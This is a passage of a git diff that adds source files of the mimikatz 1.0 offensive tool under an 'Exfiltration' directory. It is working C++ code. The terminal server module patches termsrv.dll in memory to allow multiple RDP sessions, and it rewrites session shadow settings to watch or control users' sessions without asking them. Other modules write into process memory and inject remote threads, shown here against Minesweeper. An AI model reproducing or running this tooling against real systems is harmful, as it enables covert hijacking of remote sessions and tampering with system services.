Sleep(dwMilliseconds); + (*outputStream) << L"Fin !" << endl; + return true; +} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_standard.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_standard.h new file mode 100644 index 0000000..dab1350 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_standard.h @@ -0,0 +1,23 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include <iostream> +#include <sstream> + +class mod_mimikatz_standard +{ +public: + static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands(); + + static bool clearScreen(vector<wstring> * arguments); + static bool exit(vector<wstring> * arguments); + static bool cite(vector<wstring> * arguments); + static bool reponse(vector<wstring> * arguments); + static bool version(vector<wstring> * arguments); + static bool sleep(vector<wstring> * arguments); + static bool test(vector<wstring> * arguments); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_system.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_system.cpp new file mode 100644 index 0000000..90929b2 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_system.cpp @@ -0,0 +1,40 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_system.h" +#include "..\global.h" + +vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_system::getMimiKatzCommands() +{ + vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(user, L"user", L"Affiche l\'utilisateur courant")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(computer, L"computer", L"Affiche le nom d\'ordinateur courant")); + return monVector; +} + +bool mod_mimikatz_system::user(vector<wstring> * arguments) +{ + wstring monUser; + + if(mod_system::getUserName(&monUser)) + (*outputStream) << L"Utilisateur : " << monUser << endl; + else + (*outputStream) << L"mod_system::getUserName : " << mod_system::getWinError(); + + return true; +} + +bool mod_mimikatz_system::computer(vector<wstring> * arguments) +{ + wstring monComputer; + + if(mod_system::getComputerName(&monComputer)) + (*outputStream) << L"Ordinateur : " << monComputer << endl; + else + (*outputStream) << L"mod_system::getComputerName : " << mod_system::getWinError(); + + return true; +} + diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_system.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_system.h new file mode 100644 index 0000000..bd96a01 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_system.h @@ -0,0 +1,17 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_system.h" +#include <iostream> + +class mod_mimikatz_system +{ +public: + static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands(); + static bool user(vector<wstring> * arguments); + static bool computer(vector<wstring> * arguments); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_terminalserver.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_terminalserver.cpp new file mode 100644 index 0000000..9a071b1 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_terminalserver.cpp @@ -0,0 +1,291 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_terminalserver.h" +#include "..\global.h" + +// http://msdn.microsoft.com/library/aa383464.aspx +vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_terminalserver::getMimiKatzCommands() +{ + vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(sessions, L"sessions")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(processes, L"processes")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(multirdp, L"multirdp", L"Patch le bureau distance pour dpasser 2 connexions simultanes")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(viewshadow, L"viewshadow", L"Affiche l\'tat de la prise de contrle des sessions RDP")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(modifyshadow, L"modifyshadow", L"Modifie l\'tat de la prise de contrle des sessions RDP (DISABLE, INTERACT, INTERACT_NOASK, VIEW, VIEW_NOASK)")); + return monVector; +} + +bool mod_mimikatz_terminalserver::sessions(vector<wstring> * arguments) +{ + vector<mod_ts::KIWI_WTS_SESSION_INFO> mesSessions; + + if(mod_ts::getSessions(&mesSessions, (arguments->size() ? &arguments->front() : NULL))) + { + (*outputStream) << L"SessId\tEtat\tstrEtat" << endl; + for(vector<mod_ts::KIWI_WTS_SESSION_INFO>::iterator maSession = mesSessions.begin(); maSession != mesSessions.end(); maSession++) + { + (*outputStream) << + setw(5) << setfill(wchar_t(' ')) << maSession->id << L'\t' << + setw(5) << setfill(wchar_t(' ')) << maSession->state << L'\t' << + setw(15) << setfill(wchar_t(' ')) << left << stateToType(maSession->state) << right << L'\t' << + maSession->sessionName << + endl; + } + } + else (*outputStream) << L"mod_ts::getSessions : " << mod_system::getWinError() << endl; + return true; +} + + +bool mod_mimikatz_terminalserver::processes(vector<wstring> * arguments) +{ + vector<mod_ts::KIWI_WTS_PROCESS_INFO> mesProcess; + + if(mod_ts::getProcesses(&mesProcess, (arguments->size() ? &arguments->front() : NULL))) + { + (*outputStream) << L"PID\tSessId\tUtilisateur" << endl; + for(vector<mod_ts::KIWI_WTS_PROCESS_INFO>::iterator monProcess = mesProcess.begin(); monProcess != mesProcess.end(); monProcess++) + { + (*outputStream) << + setw(5) << setfill(wchar_t(' ')) << monProcess->pid << L'\t' << + setw(5) << setfill(wchar_t(' ')) << monProcess->sessionId << L'\t' << + setw(48) << setfill(wchar_t(' ')) << left << monProcess->userSid << right << L'\t' << + monProcess->processName << + endl; + } + } + else (*outputStream) << L"mod_ts::getSessions : " << mod_system::getWinError() << endl; + return true; +} + +bool mod_mimikatz_terminalserver::viewshadow(vector<wstring> * arguments) +{ + DWORD session = 0; + PDWORD ptrSession = NULL; + + if(arguments->size() == 1) + { + wstringstream resultat(arguments->front()); + resultat >> session; + ptrSession = &session; + } + + listAndOrModifySession(ptrSession); + return true; +} + +bool mod_mimikatz_terminalserver::modifyshadow(vector<wstring> * arguments) +{ + DWORD session = 0; + PDWORD ptrSession = NULL; + + wstring strState; + DWORD newState = 0; + + if(arguments->size() == 1) + { + strState.assign(arguments->front()); + } + else if(arguments->size() == 2) + { + wstringstream resultat(arguments->front()); + resultat >> session; + ptrSession = &session; + + strState.assign(arguments->back()); + } + + if(!strState.empty()) + { + bool strError = false; + if(_wcsicmp(strState.c_str(), L"DISABLE") == 0) newState = 0; + else if(_wcsicmp(strState.c_str(), L"INTERACT") == 0) newState = 1; + else if(_wcsicmp(strState.c_str(), L"INTERACT_NOASK") == 0) newState = 2; + else if(_wcsicmp(strState.c_str(), L"VIEW") == 0) newState = 3; + else if(_wcsicmp(strState.c_str(), L"VIEW_NOASK") == 0) newState = 4; + else strError = true; + + if(!strError) + listAndOrModifySession(ptrSession, &newState); + else + (*outputStream) << L"Erreur de parsing de l\'argument : " << strState << endl; + } + + return true; +} + +bool mod_mimikatz_terminalserver::listAndOrModifySession(DWORD * id, DWORD * newState) +{ + bool reussite = false; + + vector<mod_patch::OS> mesOS; + mesOS.push_back(mod_patch::WINDOWS_2003_____x86); + mesOS.push_back(mod_patch::WINDOWS_2003_____x64); + mesOS.push_back(mod_patch::WINDOWS_XP_PRO___x86); + mesOS.push_back(mod_patch::WINDOWS_XP_PRO___x64); + + if(mod_patch::checkVersion(&mesOS)) + { +#ifdef _M_X64 + BYTE pattern1NT5[] = {0x48, 0x3B, 0xFE, 0x74, 0x22}; + long offsetToWin = -4; +#elif defined _M_IX86 + BYTE pattern1NT5[] = {0x8D, 0x47, 0x20, 0x53, 0x50, 0xFF, 0x15}; + long offsetToWin = -6; +#endif + mod_service::KIWI_SERVICE_STATUS_PROCESS monService; + wstring serviceName = L"TermService"; + wstring moduleName = L"termsrv.dll"; + + if(mod_service::getUniqueForName(&monService, &serviceName)) + { + mod_process::KIWI_MODULEENTRY32 monModule; + if(mod_process::getUniqueModuleForName(&monModule, &moduleName, &monService.ServiceStatusProcess.dwProcessId)) + { + PBYTE baseAddr = monModule.modBaseAddr; + DWORD taille = monModule.modBaseSize; + + if(HANDLE processHandle = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, monService.ServiceStatusProcess.dwProcessId)) + { + PBYTE addrPattern = NULL; + if(mod_memory::searchMemory(baseAddr, baseAddr + taille, pattern1NT5, &addrPattern, sizeof(pattern1NT5), true, processHandle)) + { + PBYTE addrWinstationListHead = NULL; + + bool resInterm = false; + +#ifdef _M_X64 + long offSet = 0; + resInterm = mod_memory::readMemory(addrPattern + offsetToWin, reinterpret_cast<PBYTE>(&offSet), sizeof(long), processHandle); + addrWinstationListHead = addrPattern + offSet; +#elif defined _M_IX86 + resInterm = mod_memory::readMemory(addrPattern + offsetToWin, reinterpret_cast<PBYTE>(&addrWinstationListHead), sizeof(PBYTE), processHandle); +#endif + if(resInterm) + { + PBYTE addrWinstation = addrWinstationListHead; + do + { + if(mod_memory::readMemory(addrWinstation, reinterpret_cast<PBYTE>(&addrWinstation), sizeof(PBYTE), processHandle) && addrWinstation != addrWinstationListHead) + { + KIWI_TS_SESSION * maSession = new KIWI_TS_SESSION(); + if(reussite = mod_memory::readMemory(addrWinstation, reinterpret_cast<PBYTE>(maSession), sizeof(KIWI_TS_SESSION), processHandle)) + { + if((!id) || (maSession->id == *id)) + { + (*outputStream) << L"@Winstation : " << addrWinstation << endl; + + (*outputStream) << L"\t" << maSession->prev << L" <-> " << maSession->next << endl; + (*outputStream) << L"\tid : " << maSession->id << endl; + (*outputStream) << L"\tname : " << maSession->name << endl; + (*outputStream) << L"\tsname : " << maSession->sname << endl; + (*outputStream) << L"\ttype : " << maSession->type << endl; + (*outputStream) << L"\tshadow : " << maSession->shadow << L" (" << shadowToType(maSession->shadow) << L")" << endl; + + if(newState) + { + reussite = mod_memory::writeMemory(addrWinstation + FIELD_OFFSET(KIWI_TS_SESSION, shadow), newState, sizeof(DWORD), processHandle); + (*outputStream) << L"\t => " << *newState << L" (" <<shadowToType(*newState) << L") : " << (reussite ? L"OK" : L"KO") << endl; + } + (*outputStream) << endl; + } + } + delete maSession; + } + } while(addrWinstation != addrWinstationListHead); + } + else (*outputStream) << L"mod_memory::readMemory " << mod_system::getWinError() << endl; + } + else (*outputStream) << L"mod_memory::searchMemory " << mod_system::getWinError() << endl; + + CloseHandle(processHandle); + } + else (*outputStream) << L"OpenProcess " << mod_system::getWinError() << endl; + } + else (*outputStream) << L"mod_process::getUniqueModuleForName : " << mod_system::getWinError() << endl; + } + else (*outputStream) << L"mod_process::getUniqueServiceForName : " << mod_system::getWinError() << endl; + } + return reussite; +} + +bool mod_mimikatz_terminalserver::multirdp(vector<wstring> * arguments) +{ + BYTE PTRN_WIN5_TestLicence[] = {0x83, 0xf8, 0x02, 0x7f}; + BYTE PATC_WIN5_TestLicence[] = {0x90, 0x90}; + LONG OFFS_WIN5_TestLicence = 3; +#ifdef _M_X64 + BYTE PTRN_WN60_Query__CDefPolicy[] = {0x8b, 0x81, 0x38, 0x06, 0x00, 0x00, 0x39, 0x81, 0x3c, 0x06, 0x00, 0x00, 0x75}; + BYTE PATC_WN60_Query__CDefPolicy[] = {0xc7, 0x81, 0x3c, 0x06, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90, 0xeb}; + BYTE PTRN_WN6x_Query__CDefPolicy[] = {0x39, 0x87, 0x3c, 0x06, 0x00, 0x00, 0x0f, 0x84}; + BYTE PATC_WN6x_Query__CDefPolicy[] = {0xc7, 0x87, 0x3c, 0x06, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90}; +#elif defined _M_IX86 + BYTE PTRN_WN60_Query__CDefPolicy[] = {0x3b, 0x91, 0x20, 0x03, 0x00, 0x00, 0x5e, 0x0f, 0x84}; + BYTE PATC_WN60_Query__CDefPolicy[] = {0xc7, 0x81, 0x20, 0x03, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x5e, 0x90, 0x90}; + BYTE PTRN_WN6x_Query__CDefPolicy[] = {0x3b, 0x86, 0x20, 0x03, 0x00, 0x00, 0x0f, 0x84}; + BYTE PATC_WN6x_Query__CDefPolicy[] = {0xc7, 0x86, 0x20, 0x03, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90}; +#endif + LONG OFFS_WIN6_Query__CDefPolicy = 0; + + BYTE * PTRN_Licence = NULL; DWORD SIZE_PTRN_Licence = 0; + BYTE * PATC_Licence = NULL; DWORD SIZE_PATC_Licence = 0; + LONG OFFS_PATC_Licence = 0; + if(mod_system::GLOB_Version.dwMajorVersion < 6) + { + PTRN_Licence = PTRN_WIN5_TestLicence; SIZE_PTRN_Licence = sizeof(PTRN_WIN5_TestLicence); + PATC_Licence = PATC_WIN5_TestLicence; SIZE_PATC_Licence = sizeof(PATC_WIN5_TestLicence); + OFFS_PATC_Licence = OFFS_WIN5_TestLicence; + } + else + { + if(mod_system::GLOB_Version.dwMinorVersion < 1) + { + PTRN_Licence = PTRN_WN60_Query__CDefPolicy; SIZE_PTRN_Licence = sizeof(PTRN_WN60_Query__CDefPolicy); + PATC_Licence = PATC_WN60_Query__CDefPolicy; SIZE_PATC_Licence = sizeof(PATC_WN60_Query__CDefPolicy); + } + else + { + PTRN_Licence = PTRN_WN6x_Query__CDefPolicy; SIZE_PTRN_Licence = sizeof(PTRN_WN6x_Query__CDefPolicy); + PATC_Licence = PATC_WN6x_Query__CDefPolicy; SIZE_PATC_Licence = sizeof(PATC_WN6x_Query__CDefPolicy); + } + OFFS_PATC_Licence = OFFS_WIN6_Query__CDefPolicy; + } + + mod_patch::patchModuleOfService(L"TermService", L"termsrv.dll", PTRN_Licence, SIZE_PTRN_Licence, PATC_Licence, SIZE_PATC_Licence, OFFS_PATC_Licence); + return true; +} + +wstring mod_mimikatz_terminalserver::shadowToType(DWORD shadow) +{ + switch(shadow) + { + case 0: return(L"DISABLE"); + case 1: return(L"INTERACT (confirmation)"); + case 2: return(L"INTERACT_NOASK"); + case 3: return(L"VIEW (confirmation)"); + case 4: return(L"VIEW_NOASK"); + default: return(L"?"); + } +} + +wstring mod_mimikatz_terminalserver::stateToType(DWORD state) +{ + switch(state) + { + case WTSActive: return(L"Active"); + case WTSConnected: return(L"Connected"); + case WTSConnectQuery: return(L"ConnectQuery"); + case WTSShadow: return(L"Shadow"); + case WTSDisconnected: return(L"Disconnected"); + case WTSIdle: return(L"Idle"); + case WTSListen: return(L"Listen"); + case WTSReset: return(L"Reset"); + case WTSDown: return(L"Down"); + case WTSInit: return(L"Init"); + + default: return(L"?"); + } +} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_terminalserver.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_terminalserver.h new file mode 100644 index 0000000..5af9492 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_terminalserver.h @@ -0,0 +1,55 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_ts.h" +#include "mod_process.h" +#include "mod_memory.h" +#include "mod_patch.h" +#include <iostream> + +class mod_mimikatz_terminalserver +{ +public: + static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands(); + + static bool sessions(vector<wstring> * arguments); + static bool processes(vector<wstring> * arguments); + static bool viewshadow(vector<wstring> * arguments); + static bool modifyshadow(vector<wstring> * arguments); + static bool multirdp(vector<wstring> * arguments); + +private: + static bool listAndOrModifySession(DWORD * id = NULL, DWORD * newState = NULL); + static wstring shadowToType(DWORD shadow); + static wstring stateToType(DWORD state); + + enum KIWI_SHADOW_TYPE { + SHADOW_DISABLE = 0, + SHADOW_INTERACT = 1, + SHADOW_INTERACT_NOASK = 2, + SHADOW_VIEW = 3, + SHADOW_VIEW_NOASK = 4 + }; + + typedef struct _KIWI_TS_SESSION { + PBYTE next; + PBYTE prev; + PBYTE unk1; + PBYTE refLock; + PBYTE unk2; + BYTE unk3[8]; + DWORD id; + wchar_t name[32+1]; + BYTE unk4[7434]; + wchar_t sname[32+1]; + wchar_t type[32+1]; + BYTE unk5[1684]; + DWORD shadow; + } KIWI_TS_SESSION, * PKIWI_TS_SESSION; + +}; + diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_thread.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_thread.cpp new file mode 100644 index 0000000..3a8edc0 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_thread.cpp @@ -0,0 +1,138 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_thread.h" +#include "..\global.h" + +vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_thread::getMimiKatzCommands() +{ + vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(list, L"list", L"Liste les threads")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(suspend, L"suspend", L"Suspend un thread actif")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(resume, L"resume", L"Reprend un thread suspendu")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(stop, L"stop", L"Arrte un thread")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(quit, L"quit", L"Envoi un message de fermeture un thread")); + return monVector; +} + +bool mod_mimikatz_thread::list(vector<wstring> * arguments) +{ + vector<THREADENTRY32> * vectorThreads = new vector<THREADENTRY32>(); + + DWORD processId = arguments->empty() ? 0 : _wtoi(arguments->front().c_str()); + + if(mod_thread::getList(vectorThreads, arguments->empty() ? NULL : &processId)) + { + (*outputStream) << L"PID\tTID\tprTh" << endl; + for(vector<THREADENTRY32>::iterator monThread = vectorThreads->begin(); monThread != vectorThreads->end(); monThread++) + (*outputStream) << + setw(5) << setfill(wchar_t(' ')) << monThread->th32OwnerProcessID << L'\t' << + setw(5) << setfill(wchar_t(' ')) << monThread->th32ThreadID << L'\t' << + setw(5) << setfill(wchar_t(' ')) << monThread->tpBasePri << + endl; + } + else + (*outputStream) << L"mod_thread::getList ; " << mod_system::getWinError() << endl; + + delete vectorThreads; + return true; +} + +bool mod_mimikatz_thread::resume(vector<wstring> * arguments) +{ + for(vector<wstring>::iterator monArgThread = arguments->begin(); monArgThread != arguments->end(); monArgThread++) + { + DWORD threadId = _wtoi(monArgThread->c_str()); + + if(threadId != 0) + { + (*outputStream) << L"thread " << setw(5) << setfill(wchar_t(' ')) << threadId << L"\treprise "; + + if(mod_thread::resume(threadId)) + (*outputStream) << L"OK"; + else + (*outputStream) << L"KO - mod_thread::resume ; " << mod_system::getWinError(); + } + else + (*outputStream) << L"argument \'" << *monArgThread << L"\' invalide"; + + (*outputStream) << endl; + } + + return true; +} + +bool mod_mimikatz_thread::suspend(vector<wstring> * arguments) +{ + for(vector<wstring>::iterator monArgThread = arguments->begin(); monArgThread != arguments->end(); monArgThread++) + { + DWORD threadId = _wtoi(monArgThread->c_str()); + + if(threadId != 0) + { + (*outputStream) << L"thread " << setw(5) << setfill(wchar_t(' ')) << threadId << L"\tsuspension "; + + if(mod_thread::suspend(threadId)) + (*outputStream) << L"OK"; + else + (*outputStream) << L"KO - mod_thread::suspend ; " << mod_system::getWinError(); + } + else + (*outputStream) << L"argument \'" << *monArgThread << L"\' invalide"; + + (*outputStream) << endl; + } + + return true; +} + +bool mod_mimikatz_thread::stop(vector<wstring> * arguments) +{ + for(vector<wstring>::iterator monArgThread = arguments->begin(); monArgThread != arguments->end(); monArgThread++) + { + DWORD threadId = _wtoi(monArgThread->c_str()); + + if(threadId != 0) + { + (*outputStream) << L"thread " << setw(5) << setfill(wchar_t(' ')) << threadId << L"\tarrt "; + + if(mod_thread::stop(threadId)) + (*outputStream) << L"OK"; + else + (*outputStream) << L"KO - mod_thread::stop ; " << mod_system::getWinError(); + } + else + (*outputStream) << L"argument \'" << *monArgThread << L"\' invalide"; + + (*outputStream) << endl; + } + + return true; +} + + +bool mod_mimikatz_thread::quit(vector<wstring> * arguments) +{ + for(vector<wstring>::iterator monArgThread = arguments->begin(); monArgThread != arguments->end(); monArgThread++) + { + DWORD threadId = _wtoi(monArgThread->c_str()); + + if(threadId != 0) + { + (*outputStream) << L"thread " << setw(5) << setfill(wchar_t(' ')) << threadId << L"\tmessage fermeture "; + + if(mod_thread::quit(threadId)) + (*outputStream) << L"OK"; + else + (*outputStream) << L"KO - mod_thread::quit ; " << mod_system::getWinError(); + } + else + (*outputStream) << L"argument \'" << *monArgThread << L"\' invalide"; + + (*outputStream) << endl; + } + + return true; +} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_thread.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_thread.h new file mode 100644 index 0000000..fd072bf --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_thread.h @@ -0,0 +1,27 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_system.h" +#include "mod_thread.h" +#include <iostream> +#include <iomanip> + +class mod_mimikatz_thread +{ +private: +public: + static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands(); + + static bool list(vector<wstring> * arguments); + //static bool start(vector<wstring> * arguments); + static bool suspend(vector<wstring> * arguments); + static bool resume(vector<wstring> * arguments); + static bool stop(vector<wstring> * arguments); + //static bool query(vector<wstring> * arguments); + + static bool quit(vector<wstring> * arguments); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_winmine.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_winmine.cpp new file mode 100644 index 0000000..2f541f2 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_winmine.cpp @@ -0,0 +1,162 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_winmine.h" +#include "..\global.h" + +char DISP_WINMINE[] = " 123456789*x*?F."; + +vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_winmine::getMimiKatzCommands() +{ + vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(infos, L"infos", L"Obtient des informations sur le dmineur en cours")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(pause, L"pause", L"Met en pause le chronomtre du dmineur en cours")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(reprise, L"reprise", L"Reprend le chronomtre du dmineur en cours")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(start, L"start", L"Dmarre une nouvelle partie")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(cheat, L"cheat", L"Triche au dmineur")); + return monVector; +} + +bool mod_mimikatz_winmine::infos(vector<wstring> * arguments) +{ + return infosOrCheat(arguments, false); +} + +bool mod_mimikatz_winmine::cheat(vector<wstring> * arguments) +{ + return infosOrCheat(arguments, true); +} + +bool mod_mimikatz_winmine::infosOrCheat(vector<wstring> * arguments, bool cheat) +{ + structHandleAndAddr * maStruct = new structHandleAndAddr(); + if(giveHandleAndAddr(maStruct)) + { + structMonDemineur monDemineur; + if(mod_memory::readMemory(maStruct->addrMonDemineur, &monDemineur, sizeof(structMonDemineur), maStruct->hWinmine)) + { + (*outputStream) << L"Mines : " << monDemineur.nbMines << endl << + L"Dimension : " << monDemineur.hauteur << L" lignes x " << monDemineur.longueur << L" colonnes" << endl << + L"Champ : " << endl << endl; + + for (DWORD y = 1; y <= monDemineur.hauteur; y++) + { + if(!cheat) + (*outputStream) << L'\t'; + + for(DWORD x = 1; x <= monDemineur.longueur; x++) + { + BYTE laCase = monDemineur.tabMines[y][x]; + + if(!cheat) + (*outputStream) << L' ' << static_cast<wchar_t>((laCase & 0x80) ? '*' : DISP_WINMINE[laCase & 0x0f]); + else if(laCase & 0x80) + monDemineur.tabMines[y][x] = 0x4e; + } + if(!cheat) + (*outputStream) << endl; + } + + if(cheat) + { + if(mod_memory::writeMemory(maStruct->addrMonDemineur, &monDemineur, sizeof(structMonDemineur), maStruct->hWinmine)) + (*outputStream) << L"Patch ;)" << endl; + + vector<mod_windows::KIWI_HWND_ENTRY> mesHWNDS; + if(mod_windows::getHWNDsFromProcessId(&mesHWNDS, maStruct->pidWinmine)) + { + for(vector<mod_windows::KIWI_HWND_ENTRY>::iterator monHWND = mesHWNDS.begin(); monHWND != mesHWNDS.end(); monHWND++) + { + InvalidateRect(monHWND->monHandle, NULL, TRUE); + UpdateWindow(monHWND->monHandle); + } + } + } + } + CloseHandle(maStruct->hWinmine); + } + delete maStruct; + return true; +} + + +bool mod_mimikatz_winmine::pause(vector<wstring> * arguments) +{ + startThreadAt(FIELD_OFFSET(structHandleAndAddr, addrPause)); + return true; +} + +bool mod_mimikatz_winmine::reprise(vector<wstring> * arguments) +{ + startThreadAt(FIELD_OFFSET(structHandleAndAddr, addrResume)); + return true; +} + +bool mod_mimikatz_winmine::start(vector<wstring> * arguments) +{ + startThreadAt(FIELD_OFFSET(structHandleAndAddr, addrStart)); + return true; +} + +bool mod_mimikatz_winmine::startThreadAt(unsigned long structOffset) +{ + bool reussite = false; + structHandleAndAddr * maStruct = new structHandleAndAddr(); + if(giveHandleAndAddr(maStruct)) + { + if (HANDLE hRemoteThread = CreateRemoteThread(maStruct->hWinmine, NULL, 0, *reinterpret_cast<PTHREAD_START_ROUTINE *>(reinterpret_cast<PBYTE>(maStruct) + structOffset), NULL, 0, NULL)) + { + reussite = true; + WaitForSingleObject(hRemoteThread, INFINITE); + CloseHandle(hRemoteThread); + } + } + delete maStruct; + return reussite; +} + +bool mod_mimikatz_winmine::giveHandleAndAddr(structHandleAndAddr * monHandleAndAddr) +{ + BYTE patternStartGame[] = {0x6a, 0x04, 0xeb, 0x02, 0x6a, 0x06, 0x5b, 0xa3}; + BYTE patternPause[] = {0x02, 0x75, 0x0a, 0xa1}; + BYTE patternReprise[] = {0x01, 0x74, 0x0a, 0xa1}; + BYTE patternStart[] = {0x53, 0x56, 0x57, 0x33, 0xff, 0x3b, 0x05}; + + RtlZeroMemory(monHandleAndAddr, sizeof(structHandleAndAddr)); + + wstring nomDemineur(L"winmine.exe"); + mod_process::KIWI_PROCESSENTRY32 monDemineur; + if(mod_process::getUniqueForName(&monDemineur, &nomDemineur)) + { + monHandleAndAddr->pidWinmine = monDemineur.th32ProcessID; + mod_process::KIWI_MODULEENTRY32 monModule; + if(mod_process::getUniqueModuleForName(&monModule, NULL, &monDemineur.th32ProcessID)) + { + PBYTE limit = monModule.modBaseAddr + monModule.modBaseSize, ptrTemp = NULL; + if(monHandleAndAddr->hWinmine = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, monDemineur.th32ProcessID)) + { + if(mod_memory::searchMemory(monModule.modBaseAddr, limit, patternStartGame, &ptrTemp, sizeof(patternStartGame), true, monHandleAndAddr->hWinmine)) + if(mod_memory::readMemory(ptrTemp + sizeof(patternStartGame), &ptrTemp, sizeof(ULONG), monHandleAndAddr->hWinmine)) // high bits of ptrTemp are already at 00000000 + monHandleAndAddr->addrMonDemineur = reinterpret_cast<structMonDemineur *>(ptrTemp - sizeof(ULONG)); + + if(mod_memory::searchMemory(monModule.modBaseAddr, limit, patternPause, &ptrTemp, sizeof(patternPause), true, monHandleAndAddr->hWinmine)) + monHandleAndAddr->addrPause = reinterpret_cast<PTHREAD_START_ROUTINE>(ptrTemp - 11); + + if(mod_memory::searchMemory(monModule.modBaseAddr, limit, patternReprise, &ptrTemp, sizeof(patternReprise), true, monHandleAndAddr->hWinmine)) + monHandleAndAddr->addrResume = reinterpret_cast<PTHREAD_START_ROUTINE>(ptrTemp - 6); + + 